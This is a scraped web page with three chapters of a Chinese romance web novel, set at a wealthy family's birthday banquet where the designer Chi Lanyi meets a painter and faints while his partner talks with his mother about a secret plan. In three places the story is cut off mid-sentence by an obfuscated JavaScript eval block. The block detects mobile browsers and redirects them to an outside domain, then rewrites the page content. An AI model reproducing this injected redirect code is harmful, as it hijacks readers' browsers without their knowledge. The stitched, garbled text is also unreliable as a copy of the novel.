l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700074|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你只是太年轻,还没来得及积累这些。在未来,你会成为比今日更伟大的人,从此没人敢置喙……” 果汁的味道,很甜。甜得舌头发腻。 “我还是不明白。你的权力在我看来非常可笑。我不需要他们过来说怕我之类的,我只要他们不出现在我的世界里就够了。”池兰倚冷冷道,“你没有必要认为我是那种会被他们伤害的人。你知道的,我从来不会去看不在我眼里的人。” 果汁味停留在了舌头上,高嵘没有把它下咽、也没有再说话。 池兰倚说的是真的。 池兰倚就是这样的人。 他侧过头去吻池兰倚的额角。池兰倚把头偏开,不给他亲。 “好吧。”高嵘叹了口气,“你说的也是对的。” 池兰倚闷了一会儿,片刻后道:“算了。你和我的世界里有不同的规则和行事。你是个企业家。” 这句话代表着池兰倚消气了。 高嵘也低低地笑了:“好的,我的小艺术家。” 这次他亲吻池兰倚额角时,池兰倚没有躲。他的脸微微红了。 亲吻没有持续一会儿,又有人来和高嵘寒暄。 这次过来的是一名笑容满面的中年男人。池兰倚认得他,他是当地的政府高层。 高嵘和他们有合作。 两边有很多话要讲。池兰倚客气地和他们打招呼。对方也熟知池兰倚,他对池兰倚笑:“池先生年轻有为,我和我夫人经常在新闻里看见你。尤其是我夫人,她很喜欢你的设计。” 忽然被提到,池兰倚笑笑:“是么?” “当然。”男人说,“她经常提起你。” 这件事倒是巧了……池兰倚也认识这名中年男人的夫人。那位女士从头到脚都不是会欣赏他的设计风格的人。 又是虚伪的社交托词。 池兰倚又是笑笑。旁人只会觉得他虽然有些拘谨,但也表现得礼貌合体。 他看着高嵘和那名中年男人,心想高嵘的世界,就是这样的。 “这里人太多了,我去休息。”在两边即将洽谈前,他对高嵘说,“你们先聊,我出去转转。” 高嵘知道池兰倚不喜欢这样的场面。今天到这里,大概是他的忍受极限了。 但他必须得谈这个生意。 “好。”他吻了吻池兰倚的手背,“有需要时找我。刘管家,你跟着他。” 池兰倚维持着对众人的笑容,直到转身消失在他们的视野里。 金碧辉煌的大厅里,还是有很多人的目光落在他身上。 “池先生。”有人热切地和他搭话,“我非常喜欢您上一季的设计,您……” 还有几个人凑了过来。 他们中有人穿着各个品牌的高定,其中也包括池兰倚的品牌。但更多的则只是想和池兰倚搭话。池兰倚拘谨礼貌地应付着他们,脚下一步步地往外面移。 终于,他获得了一个以盥洗室为借口离开的机会。在进入盥洗室之前,他对刘管家说:“之后不用再跟着我了。” “但是高先生说……” 池兰倚沉下脸:“我说话不管用么?” 刘管家唯唯诺诺地下去了。池兰倚看着他的背影,有一种很微妙的感觉。 原来,这样行事就是高家的规则。 池兰倚在盥洗室里洗了把脸。他不喜欢这里,这里没有他惯用的洗手液,也没有他喜欢的水晶瓶和瓶子里的鲜花。 他看着镜子里的自己。 镜子里青年脸色苍白,漂亮的眼睛里带着疲惫。 他实在是不擅长面对这样的场景。 就在这时,他听见室外有人在说话。 而且还是关于他的。 “那些报纸新闻上都说池兰倚是设计天才,真的假的?” “还能有假的,他不是得了很多奖么。” “这个年代光有才华有什么用。还是得有资本。如果不是有高嵘在,池兰倚再有才也只能怀才不遇。” “他是怎么把高嵘搞上手的。据说池兰倚刚上大学,就和高嵘搞到一起了?真是一见钟情,还是以前就认识。” 这些讨论早就是池兰倚常听见的家常便饭。门外的声音很年轻,大概几个二十出头的年轻人,在那里闲来无事八卦。 即使他们在私底下如此,只要看见池兰倚的脸,他们也只敢闭嘴,一个个变成乖巧的鹌鹑。 ——因为有高嵘在。 想到这里,池兰倚忽然觉得很没意思。 就像喝了一碗隔夜的凉汤,油腻腻的,冷冷的。 他擦干净手,打算直接推门出去。池兰倚没有什么给他们留面子的打算。 “诶,你和池兰倚是一个中学的。你知道什么八卦吗?” “不过我知道,池兰倚当时有个很好的朋友,家住得很近的竹马,买东西老买一样的,天天往彼此家里跑。叫……” “……乔泽。是那个很有名的钢琴家。” 池兰倚推门的动作停了下来。直到一个人语气古怪地说:“好朋友,还是有别的关系?” “这我不太清楚,但我表姐说。”另一个人神秘兮兮地道,“你们知道乔泽的姐姐——乔涟来这场生日宴的请柬,是谁给她的吗?” “是谁?” “是高嵘的母亲亲手给她的。” 6.找事 就像石子砸向平静的水面,破碎出波涛。 “什么?许阿姨给乔涟的?” “把请柬给儿子男朋友的暧昧竹马的姐姐……哎哟这复杂关系,什么意图啊?” “这是想给自己儿子戴绿帽?” 盥洗室的门就在此刻被推开了。 “请让一下。” 一个声音冷冷道。 “谁啊……我靠!” 几个年轻人正在兴头上,很不耐烦。 直到转身时,才被吓了一大跳。 “池……”有个人结结巴巴地说,“池先生。” “池先生,晚上好啊!”有人立刻说,“我们不知道您在盥洗室里……真对不起!” “我们、我们不是故意的!” 这些年轻人穿着时髦,看起来也是几家公司总裁带过来的二代,平日里也是混不吝惯了的。 如今一个个地低头向池兰倚认错。 池兰倚只是瞥了他们一眼,便径自离开了。 眼见那瘦长身影消失在走廊里、往二楼去了,这几个人才松了口气。 “搞什么啊……八卦被正主听到?” “这人什么脾气,看都不看我们一眼的吗?” “别再说了。”其中一个人推了一把另一人,“万一他生气了,我们可就要倒霉了。” 被推那人悻悻的。他说:“高家怎么会让一个男人当家主媳妇。而且高嵘还是那么野心勃勃的人。我看,池兰倚早晚被高嵘甩咯。” 他觉得肯定是高嵘甩池兰倚,因为显然,应该是池兰倚更需要高嵘才对。 池兰倚顺着雕花楼梯,上到二楼,找了个没人的露台。 对于许幽想做什么,池兰倚一点兴趣都没有。反正许幽不喜欢他,他也不喜欢许幽。 旁人都觉得池兰倚内向羞涩,以为许幽表现得和善大方点,池兰倚也会领情。但池兰倚天生就不会去领“装的东西”。 许幽爱干什么干什么。 让他失神的,是另一件事。 乔泽。 池兰倚手放在栏杆上,看向窗外。 露台偏僻,隔绝了一楼的喧哗和吵闹。从这里向外看去,刚好能看见细雨中隐约可见的月亮。 和远处辽阔的湖泊。 这几个年轻人口中的、关于他和乔泽的内容,大部分是对的。 只有一点说错了,他和乔泽之间,确实除了“好友”之外,没有“别的关系”。 感情的酝酿需要机会和时间。就像许多青春年少时的情感一样,它在开花结果之前就无疾而终。 尽管如此,池兰倚至今对乔泽,仍有耿耿于怀。 却不是因为爱情。 …… 乔泽是住得离他家很近的邻居。他在十二岁那年搬来池兰倚家所在的那条街,和池兰倚一起在紫金公学就读。 也就是从那时开始,成为了池兰倚的“竹马”。 池家没有高家那么显贵,但也家境优渥,池兰倚的父母是几家医院的院长。于是,在十二岁时,池兰倚就被送进了这所以“贵族教育”闻名的私立公学。 池兰倚的父母对池兰倚怀着极高的期望。他们希望池兰倚能成为一名成功的律师,或者一名像高嵘一样的企业家。 然而事实往往不尽如人意。 性格忧郁敏感的池兰倚,与以严谨和阶级闻名的紫金公学格格不入。在入校仅半年后,他就面临无人可交流的窘境。 他宁愿一个人抱着诗集画册,去公学里爬满爬山虎的老墙后,躺在草地上阅读,也不会和那些积极参加兄弟会的子弟们聊天、赛艇、或打橄榄球。 他瘦弱、苍白、安静,与他们格格不入。 直到池兰倚再次抱着诗集,一个人来到那片老墙后时,他在榕树下看见了一个人。 那个人原本在榕树下看书,却在看见他后站了起来。 “这是《吉檀迦利》么?你居然在看这个。”他跑到池兰倚的身边,惊喜地说。 池兰倚抱着书,他有点不知所措,也有点警惕。那个陌生少年却笑了。 “你叫池兰倚,我知道你的名字的。”他眨眨眼,“但你不一定知道我的。” “你怎么知道我的名字?” 池兰倚有些紧张。 他抱着书一步步向后退。少年却又笑了。 他坐在巨大的树根上,露出洁白的牙齿。 “你很有名的,你不知道吗?”他说,“他们都说你很特别。” ……很特别? 池兰倚怔了怔。 后来他才知道,那些人说的是,“他很古怪”。 “对了,我叫乔泽。”少年说,“云梦泽的泽。我家住在榆树街17号——和你家在同一条街上。” “就在那棵大榆树后面。你绕过它,走三步,就能看到我家了。” …… 湖边的树林漆黑,风声吹拂树叶,声音沙沙。 哪里看得清它们是榕树或榆树。 池兰倚将思绪连同关上的窗户一起收回。 乔泽。 让池兰倚始终对乔泽耿耿于怀的,已然不是年少时的深厚情谊。 而是乔泽的不告而别。 乔泽一家早已出国,只剩下乔泽一个人和管家还在国内。乔泽曾告诉池兰倚,他不喜欢国外的生活。 可十八岁那年,盛夏蝉鸣,池兰倚抱着素描册跑过大榆树,来到那座熟悉的黄房子,却只看见落了灰的锁。 透过窗户,是人去楼空的室内。就连客厅里乔泽常弹的钢琴也不见了。 乔泽骤然消失,没有留下任何信息。 池兰倚呆呆地站在门外,没有注意到自己怀中的画册滑落。 砸到满是灰尘的石子路上。 在那之后,有过几个同学询问池兰倚,想知道乔泽去了哪里。 面对一条条信息,池兰倚只能沉默,然后回答。 “我不知道。” “你怎么会不知道呢?你不是乔泽最好的朋友吗。难道是他出了什么事,你不想说。” …… 池兰倚没办法回答这些话,因为他是真的不知道。 他在黄房子空着的日日夜夜里,曾无数次地感到担心,乃至于自责。 他往榆树后的那家去过很多次,那扇曾让他能自由进出的门扉上,始终挂着锁。 他怀疑是不是自己做错了什么,或者乔泽遭遇了什么意外。他努力回忆乔泽离开前的所有细节,结论是,毫无预兆。 所有的百思不得其解凝固在于新闻里,看见乔泽于国际钢琴大赛上获得银奖的那天。 那一天他表现得很平静。他将那张报纸放在了画室的废纸兜里,用铅笔一遍遍地完善自己的设计。 画室通宵达旦,灯亮直至第二天天明。 一个月后,他将自己的设计寄出。三个月后,他成为了最年轻的设计大奖获奖者。 金奖。 池兰倚的一名长辈曾说过,池兰倚看起来内向害羞,却性格固执,一旦遭遇隐瞒或背叛,绝不会回头。 无论是对谁。 少年时的事总是让人耿耿于怀。即使已经得过胜于对方的奖,即使已经过去六年,池兰倚仍然将那“不告而别”视为一种羞辱或背叛。 池兰倚不愿意、也没可能再主动去问他不告而别的理由。 但…… 池兰倚抓紧了栏杆。 乔泽,真的要回国么? 阳台上的风有些冷了。 这个世界忽然安静得吓人……他站在不属于他的露台上,身边空落落的。楼下倒是喧哗,但没有一句话属于他。 “不知道高嵘这时候在干什么。”池兰倚想。 他低头看向自己的手机。 手机屏幕一片漆黑,没有任何人给他发出新的信息。 没有高嵘,也没有巫樾等人的消息。 他又一次打开信箱,看向飘在顶部的,那条神秘短信。 他面无表情,一条条地从头翻到尾,忽然冷笑了一声。不知是在嘲讽它,还是嘲讽自己竟然无聊到开始看这个。 池兰倚彻底恼了。 高嵘知道自己不喜欢这种场合,就不应该把自己带到这里来。 高嵘既然把他带过来,就应该对他负责。 楼下正对的阳台里有了声音。一对情侣偷偷跑到那里亲热,嘴唇间发出很大的水声。 池兰倚的脸色变得有点难看。 池兰倚觉得自己没必要去想高嵘这时候在干什么了。答案还不够明显吗?高嵘一定是在和那些人谈生意。高嵘会站在晶莹剔透的水晶吊灯下,穿着一尘不染的棕色西装,端着一杯酒,或者在某个真皮沙发上抽着一只雪茄。他会熟练地和他们把一个话头从一头抛到另一头,像推台球那样,然后推上好几个小时。 与此同时,池兰倚会像个无聊的游魂一样,在二楼晃来晃去。而且高嵘会对他无聊了一整个宴会、没和(没能和)任何人聊天这件事心知肚明。 ——就像高嵘今天赶到古董行时,对池兰倚根本不知道怎么买东西这件事心知肚明一样。除此之外,哪怕不需要付款,池兰倚也甚至不知道家里的完整寄送地址。 他转身在房间里找了找,拿起一只花瓶,又走到阳台上。 不暴躁、也不激烈,只是往一楼阳台的角落轻轻一推,听见瓷片落地的巨响。 然后他会带着平静好似没有什么事情发生的表情回到走廊上,背着手,融入人群中,看高嵘是怎么找人去收拾它留下的烂摊子的。在那之后,高嵘或许会上楼看看,到底是谁把花瓶从二楼扔下来的。 当然,高嵘找不到任何嫌疑人,也找不到任何证据。 池兰倚就要站在他背后,看他找来找去。 在池兰倚把花瓶推下去的前一刻,一个陌生人的声音在他身后响起。 “这只花瓶不算漂亮,但也挺昂贵的。就这么把它丢下去,不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712406|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜么?” “流水线烧制的产物罢了,又不是孤品或者艺术品。扔了就扔了。”池兰倚说。 但他没有继续推花瓶,而是把它从栏杆上放了下去。扔花瓶的兴致被打断,他转头看到底是谁跑过来了。 但在晃眼间,池兰倚一愣。 “乔……” “嗯?”陌生男人说。 借着灯光,池兰倚总算看清了他的脸。 认错人了。 靠在墙上的不是乔泽,而是一个陌生的男人。他五官不如高嵘深邃端正,但别有几分带着邪气的英俊。 让人瞩目的是,他穿了一件海盗风的衬衫,外套也很奇特。 和其他男士端正的西装穿着格格不入。不像会在这场生日宴里出现的、端端正正的生意人。 “楼下太吵了。”男人对他咧嘴一笑,“我上来躲躲清闲。有时候这些人重复的话题真让人受不了。我往左走,一群人在讨论一家百货商场的选址。我往右走,一群人在讨论一块地皮卖给一家百货商场值不值得——你说,是不是挺可乐的?” 他笑起来时有种别样的潇洒落拓。 池兰倚看着男人没说话。他反复地看对方的脸,确信自己没见过他。 男人又笑了。 “你现在的样子,和我看你作品时感受到的感觉不太一样啊。设计师,我以为你会更有活力一点的。”男人又咕噜了一句,“还是因为,这里太无聊了,无聊到连你也会被扼杀掉的程度?” 池兰倚挑高了眉头:“或许是因为你并不了解我是什么样的。” “哈哈哈哈。”男人笑了起来,一副乐不可支的模样,很快,他停住笑声,“但刚才你扔花瓶的动作,是我想象中你会做的。” “池兰倚。” 他连名带姓地称呼池兰倚。 池兰倚愣了一下。 男人看着池兰倚,眼睛很明亮:“你不问问我是怎么认识你的?” “这里谁认识我都不奇怪。”池兰倚说。 “他们是从新闻报道上认识你的,或者,是从高嵘的身边,而我不一样。”男人摆了摆自己的手指,“我是从你的设计里认识你的。因此,我比他们都更想认识你。” 池兰倚原本以为他会想和自己握手。可对方走到他身边,竟然比了个海盗和海盗之间打招呼的手势。 “自我介绍一下,我叫华晏,一名画家。”男人说。 池兰倚这下知道他是谁了。他真的知道这个名字。 而后,令他更意外的是,男人对他说:“我需要一个模特。” …… “有人看见池先生刚才上楼了。”刘管家一路小跑过来,答道。 “我不是让你负责他吗?”高嵘毫不客气地说。 他皱眉扫视大厅中的人群——尤其是各个角落,这些地方都没有池兰倚的身影。池兰倚大概上楼后还没下来。 可恶刚才那个项目不得不谈……刘管家擦着汗,又说:“池先生说,他没什么需要,也没有来找我。” “还要他开口来找你?”高嵘凉凉地说,“而且没什么需要……他的事儿明明挺多的。” 刘管家简直没办法明白高嵘这句话,到底是在贬他没有服务的主观能动性、还是贬池兰倚事儿多了。高嵘的话怪里怪气的。 池兰倚的事是挺多的。他热了忘记脱衣服,冷了忘记加衣服,喝百香果汁要把所有的籽都挑出来,和不感兴趣的人说话超过十句就嫌烦,对甜品和鸡尾酒的口味更是挑剔…… 高嵘心想,管家怎么能说出池兰倚没什么需要这话的。要是高嵘在池兰倚身边,池兰倚不得泡个茶的功夫就挑出十个事来。这些人全是因为池兰倚话少,才没看出他事多的本质。 刘管家办事半点不上心。还得是他高嵘提前结束交际,才能发现刘管家做事不称职。 “高先生,我上去叫池先生?”刘管家跟在他后面,脸上都有点害怕高嵘的急。 “我去就行了。”高嵘道。 “儿子。你急急匆匆的,是要往哪里去?” 旁边,传来许幽的声音。 “我有事。” 高嵘简单地说了一句,没打算停下来。但许幽又开口了:“我知道你今天晚上想做什么。但在这之前,我想和你谈一谈。” 高嵘道:“是么?我觉得现在不是时候。” “现在很是时候。”许幽说。 忽然间,她说出了一句无法让高嵘拒绝谈话的话:“请柬,是我亲手给乔涟的。” “在知道她刚回国,知道你打算今天告诉我们你要订婚的事情之后,我就立刻这样做了。”许幽道。 高嵘停下脚步。他看着许幽,表情很平静:“母亲,你在给我找事。” 许幽却不打算退缩。 “你觉得现在和你对话不是时候。但池兰倚未必这样觉得。”许幽嫣然一笑,“我知道当年你对乔泽做了什么。” “现在,你想谈了吗?” 7.昏倒 高嵘的神经动了一下。 他很清楚自己当年对乔泽做了什么。那时他还很生疏,布局也不够完美。如果有心人去查,是能查到线索的。 许幽自信地看着他。显然,她对一切都了如指掌。 高嵘看了一眼手表。目前,距离池兰倚离开他的视线,过去了半个小时。 在他的可接受范围内。 “你去楼上找池兰倚。”高嵘对管家说,“他需要什么,你就给他拿过去。他想去休息,你就带他到三楼的我的房间。” 想到这里,他又说:“从我的衣柜里给他拿一套睡衣。要真丝的,蓝色的。房间温度调到24.2度。还有,给浴室里换一束新鲜的百合。” 池兰倚真是事多。高嵘皱着眉想着。 在他吩咐管家的同时,许幽一直沉默地看着他。 在管家走后,母子二人走到单独谈话的房间。关上门,许幽的脸色立刻拉了下来。 “你真是被他迷昏头了。”她冷冷地说,“他把你管得死死的。” 池兰倚,把他管得死死的? 许幽黑着脸、重重地坐在对面的沙发上,高嵘不以为意。 分明是他把池兰倚给管得死死的。 “高嵘,你被一个和你完全不合适的人迷昏了头。我原本以为你只是想和他谈个恋爱,在你父亲反应激烈时,我从来没有反对过你们。可我没想到,你竟然要和他订婚。”许幽说,“他若只是个男人也就算了。可你和他是完全不同的两种人。” 高嵘也不反驳。他等许幽说完。 “你比他大四岁,你和他都是紫金公学的毕业生。他是毕业照上站在角落里的怪人。你却是年级的首席。他是个艺术家,而你是个商人、野心家,即使你未来不想从政……”许幽说。 她见高嵘没有反驳他,反而心软了些,高嵘到底是她的儿子。顿了顿,许幽又道:“我是你妈,了解你。从小到大,你理性、冷酷。论无情,论看重利益,你更胜于你父亲。中学时,副校长的侄子挡了你做首席的路,你就自然而然地让他连同他的叔叔一起从学校滚蛋,甚至没借助家族的手。这些年来,我也看到你巨大的、更上一层楼的野心。” “而池兰倚,他感性,我不否认他很有才华,可在社交场合中,面对不感兴趣的人,他连装一下都装不出来。等你年轻时的激情减退、对他的兴趣消退,当你发现你因为他走错了路,失去了你本能得到的利益、本能攀登的高度时,成为不了你本来可以也渴望成为的人时,我不知道你会做出什么样的事。这对于你,对于池兰倚来说,都是一场灾难。” 在她说这段话的时候,高嵘的脸色终于变了。 “等到那时候你会做什么?报复他?那时的池兰倚也不会如今日般美丽。他会变得很狼狈,哭着求你放过他,而你甚至不会回头。” 他沉沉地看着他的母亲,却又不像是在看着她,而像是因为她的这段话,想到了很久……很久之前发生过的事。 他攥紧了拳头,似乎被说到了痛处。 成为不了本来可以、也渴望成为的人。 他眼中如窥见漫天风雪。风雪中,他穿着灰色大衣,站在车边。他没有穿着棕色西装,只戴着普通的帽子,手上也没有高家家主才有的戒指。 他转头看着池兰倚。 池兰倚从楼上追下来。暴风雪的天,他没有穿外套,甚至没有穿鞋。他奔跑下来的速度气喘吁吁、用尽了全身的力气。 可追上高嵘之后,他傲慢地扬起了还有泪痕的脸,看着高嵘的眼睛说了一句话。 “法庭见。” 说这句话时,池兰倚的双脚甚至还踩在雪地里,冻得通红。 可池兰倚站得笔直,好像对这份痛苦毫无察觉。 ……高嵘慢慢收回思绪,攥紧了拳头。他知道他的母亲在看他的每一分表情。 而且此刻,她以为他动容了。 “想谈谈恋爱可以,别在错误的道路上走太远一不小心丢了理智。到时候想回头,就难了。与其未来相看两厌成为一对怨侣,不如早些放手。”许幽说,“我知道,想要放弃一份你以为的‘爱’很难……” 高嵘就在此刻,发出一声冷笑。 “爱?”高嵘说,“你以为,我是因为对他的‘爱’,才非要和他在一起?” 许幽愣了一下,随后她沉着脸道:“高嵘,我现在是在好好跟你说。如果家族动真格地想要池兰倚离开你的话,也不是没有办法。” “给他一大笔钱,让他和我分手。还是说,用他的公司威胁他?爱情电视剧的套路。”高嵘用一种轻蔑的语气道,“但我这样对池兰倚……可不是因为爱情。” 不是爱情? 许幽皱眉:“但你为了得到他,不惜把乔泽一家逼走。如此大费周折,又能是为了什么?” ——原来,她用这个做论据。 ——他逼迫乔泽离开,让池兰倚只能和他在一起,这怎么不算是报复。 “是激情、欲望?”许幽说,“不管是什么,你和他可以做情人,但不能结婚。你知道婚姻意味着什么吗?” 许幽的话越来越可笑了。 不结婚,池兰倚跑了怎么办? “我有必须要和他结婚的理由。我的订婚可没那么简单。你如果只是把它当成真爱,就想得太简单了。”高嵘说,“我也根本不需要所谓的‘真爱’。” 许幽愣住了。 高嵘这话斩钉截铁,却又透漏着诡异。 高嵘不爱池兰倚? 可高嵘方才吩咐刘管家的事无巨细又出现在她的脑海里……高嵘又道:“至于乔泽的事他会不会知道,我也并不在意。” 事情变得更加神秘了。 许幽坐在高嵘对面。头一次的,她觉得自己完全看不懂自己这个儿子的心思了。 可她的儿子从来都比他们算得更远,一手振兴了高家的商业帝国……许幽试探地说:“可池兰倚或许也没有那么爱你。他更喜欢乔泽那种类型。不是吗?方才仅仅是用乔涟试探……” 她知道,自己在添油加醋地假设。 可那一刻,高嵘的脸色变得极其难看,如同即将滴水的深潭。 “即使他恨我,讨厌我,我也不会放手。”他冷冷地说,“这些东西我根本不在乎。我有我自己的计划。” 许幽实在说不出话来了。 “你到底有什么我不知道的阴谋?”她最终问。 难道,高嵘是想要吞并池兰倚的公司? 池兰倚的确是投资人眼里的黄金宝贝,一个彻头彻尾的天才。可许幽实在摸不准。 高嵘真的至于为了这份才华,做到这种地步? 而且,以一个母亲对儿子的了解,她觉得哪里不对。 “你想要吞并他的公司?”她又试探。 可无论她如何试探,高嵘都不再回答。 他眸色很深,面若冰霜,似乎陷入了回忆。 …… “这场聚会确实没什么意思。”池兰倚靠在栏杆旁,怀疑地看着华晏,“我没想到那个华晏,竟然是长成这样的。” 华晏哈哈一笑:“很出乎你的意料?” “确实。”池兰倚说。 “那——有兴趣给我当模特么?”华晏眨眨眼。 “没兴趣。”池兰倚说,“而且我很忙。” “忙设计?有时候一加一大于二。做我的模特,或许我们都会有新的灵感。”华晏很热切。 “……”池兰倚想了想,“我今天没什么心情,也不想答应。” “我知道。”华晏露出一个大大的笑容,“这里的气氛太压抑了。” 池兰倚有一搭没一搭地拒绝他。 平心而论,如果是平时遇见,池兰倚说不定会对华晏的提议有兴趣。毕竟他也听说过这名蜚声中外的画家。 但今天,他实在提不起心情。 池兰倚把花瓶放回原位。华晏跟随着他在走廊上走,说:“好吧,至少我们可以再聊聊你的设计。” “嗯?” “不止你很无聊,我也是。在这里,除了你之外,没有有意思的人。”华晏说,“或者你打算在高嵘来之前,继续找个地方发呆?” 他们已经走到了楼梯口。华晏突然说:“我看过你上一季的一件废稿。老实说,我觉得它比展出的其他所有都要惊艳。” 池兰倚一愣。他转过身来,总算接话了:“你……” 然而,就在此刻。 “唔!” 池兰倚捂住了自己的额头。 雪花点在闪动,眼前清晰的世界变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726995|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得模糊,落在视网膜上的景象变成了老电影般的画质。 幻觉又来了。 熟悉的幻觉画面在眼前铺开,可这次幻觉中呈现的并非高家的湖边庄园,而是另一个地方。 大理石铺就的楼梯变成了灯红酒绿的派对现场,矜持聊天的权贵们变成了穿着时尚的绿女红男,男人们手中的红酒变成了正在喷射的香槟和烟火。 这里是他和巫樾常去的俱乐部。 难道,在幻觉里的这个时候,他没有和高嵘一起来到湖边庄园么? 意识在涣散,但池兰倚忽然想起来了。 确实,在上一个幻觉里,他和高嵘吵架了。 所以,他没有和高嵘一起去高嵘母亲的生日聚会……也是理所当然。 ……不知不觉间,他已经将幻觉的片段和他现在的生活联系到了一起。 画面变得粗糙模糊,就连声音也一并丢失了。池兰倚似乎看见自己和巫樾坐在角落的沙发里,伸着一双长腿。 他看见自己明显非常愤怒,自己没有拿酒,也没有拿烟,而是在对巫樾抱怨着什么。 【“所以……高嵘去哪儿了?”】 【“生日宴。”】池兰倚只能听见自己声音的片段,【“那个姓孟的……又一起……”】 幻象里自己声音尖锐,愤怒却随着随手捉起一整杯酒的一饮而尽忽然偃旗息鼓。池兰倚看见自己放下酒杯,忽然微微眯起了眼睛。 幻象里的自己的双眼看向了某个方向,似乎有些意外。而巫樾说:【“你认识这个人吗?”】 一只手进入了幻象的视野中。一个声音响起:【“初次见面……”】 就在此刻,天旋地转。 幻象的画面扭曲——拉长,像是胶片电影骤然被剪断了带,一切画面化为雪花扭曲得山呼海啸。池兰倚这段时间多次看见幻象,却从来没有遇见这样的情况。 他脚下不自觉地就向后退了两步。倏忽,池兰倚叫出了声。 “呃……呃!” 剧烈的疼痛。 池兰倚的头从来没有这么痛过,马上要裂开了一般,在幻象消失的同时眼前只剩一片青黑。过去他只是会看见莫名出现的幻象,从来没有脑袋剧痛、却又什么都看不见。 手机在他的衣兜里震动起来,池兰倚毫无察觉。他手背青筋突起,去抓旁边的栏杆——或者柜子,或者任何可以扶住他的东西。 手却抓了个空,全身重心也就此失衡。 在旁边的华晏来得及扶他之前。 有什么东西突突突地在脑袋的血管底下跳。尖叫着、蹦跳着让他不要继续下一步行动。就仿佛他只是向下一步,便要触发某种深渊般的凶兆。 无论是在幻象中向下,还是循着楼梯向下。 【“他长得有点像乔泽。”】昏迷之前,他听见巫樾的声音,【“高嵘一定会气死的。他还以为你对乔泽……”】 而后,是他自己的、傲慢的声音。 【“就是要他气死。”】 …… 母子沉默地对坐了十分钟。 不平的脸色已经从高嵘面上完全退去。他平静地、淡淡地坐着。 “我很清醒自己的计划是什么、目的是什么。从地狱回来时,我就已经想好了。”他说,“还有,池兰倚和你想象中的那个人完全不同——他很冷酷。” “冷……” 或许,高嵘有成算就好。许幽心想。 毕竟,他说自己很冷静、很有计划。 “至于我……”高嵘轻哂,“别把我想得像那些为爱痴狂的君主一样。” 他看了眼手表,站起身。一个小时到了,他该去接池兰倚了。 就在此时,他却听见了门外传来了慌慌张张的跑步声。 刘管家气喘吁吁地推开了大门。他头发凌乱,面色焦急。 许幽见他这样,开始斥责:“怎么学的规矩。慌张成这样!” “高先生,老夫人……”刘管家脸色一白,但仍然转向高嵘,急急忙忙地说,“池先生昏倒了。” “!” 许幽正欲开口叫医生。没等她开口,她就瞪大了眼。 她的儿子,方才还说着“计划”的高嵘的脸色骤然大变。 随后,高嵘转身从房间里冲了出去。 8.梦话 舞池里,名流之间的八卦还在继续。 “看起来池兰倚和高家的关系不怎么样啊。”女人慢悠悠地踩着舞步,对身边的男伴说,“没想到即使是设计天才,也会有这样的困境。” “高家可是首屈一指的豪门。一个天才又有什么用?”男伴说。 “池兰倚可不是一般的天才。投资人爱死他了。钱放在他那里,很快就会翻倍。一顶帽子,多几朵花,就能卖出几百倍的价格,还有人争着抢着给他买单。”在跳舞的另一个男人说。 “高嵘不是爱死了他么?这些事让高嵘去搞定就好了。你看池兰倚刚才,一点和别人打交道的兴趣都没有。” “你们还真把高嵘嘴上说说的话当真了。”人群中的一个人凉凉地嘲讽一句,“一个多智近妖的商业巨子,你们真的相信这种人,会被自己的男朋友玩弄在股掌之间?别说被玩弄,高嵘这种人,想要他脸上变色都很难。” “也是,更别说他们还只是恋人,又不是伴侣。” “而且说不定,高嵘只是看中了池兰倚的商业价值。泰山崩于前不改其色的人,我不信他会对谁动心。” 舞曲将尽,女人在男伴手心中旋转1080度。她停下行礼,裙摆开出一朵美艳的花来。 然而就在此刻,演奏席上的大提琴,拉出了一道嘶哑的噪音。 巨大的噪音响彻众人的耳朵。就在众人看向演奏席的此刻,众人愣住了。 高嵘面色焦急,以最快的速度从席前跑过。医生和管家一路小跑跟在他后面。 “发生什么了?” “那个高嵘竟然这个表情?” “一定是出大事了!” 在众人不解和急切跟随之时,华晏正急得团团转。 “天哪,池兰倚怎么突然晕过去了?可不能是我害的啊!” 医护人员比他想象中来得还要快。人群将他一把推开,又将池兰倚团团围住。华晏被挤在墙边,又挤不进人群,又实在不能走。 他身材高大,但隔着这么多人,也看不见池兰倚状况如何……就在心急如焚之际,拥挤的人群如摩西分海,被划开了一条宽敞的通道。 高家的掌权者,高嵘从这条通道迅速地进来。旁边的人都愣住了,因为高嵘从来没有露出过如此失态的焦急神色。 在看见池兰倚后,他的脸上甚至闪过一丝懊悔。 “他怎么样了,有受伤吗?什么情况?” 一贯平和的声音连珠炮般地问着。 “没有,池先生的头没有摔伤。在他昏倒时有人扶住了他。”女仆说,“就是这位先生。” 她指向人群中的华晏。高嵘在那一刻只匆匆抬头,瞟了一眼。 但他的眼睛,忽然死死地钉在了那个人的身上。 华晏也是愣住了。他没想到这位高家的掌权者竟然用这样的眼神钉着他。就在那一瞬间,他甚至毛骨悚然。 仿佛,他在那双眼睛里看见了震惊,除此之外还有剥皮拆骨的仇恨。 不死不休的、浓浓的。 在担忧池兰倚之余,华晏也惊悚了。他心想至于吗? 因为池兰倚在他华晏眼前晕了……高嵘就这么仇恨他? 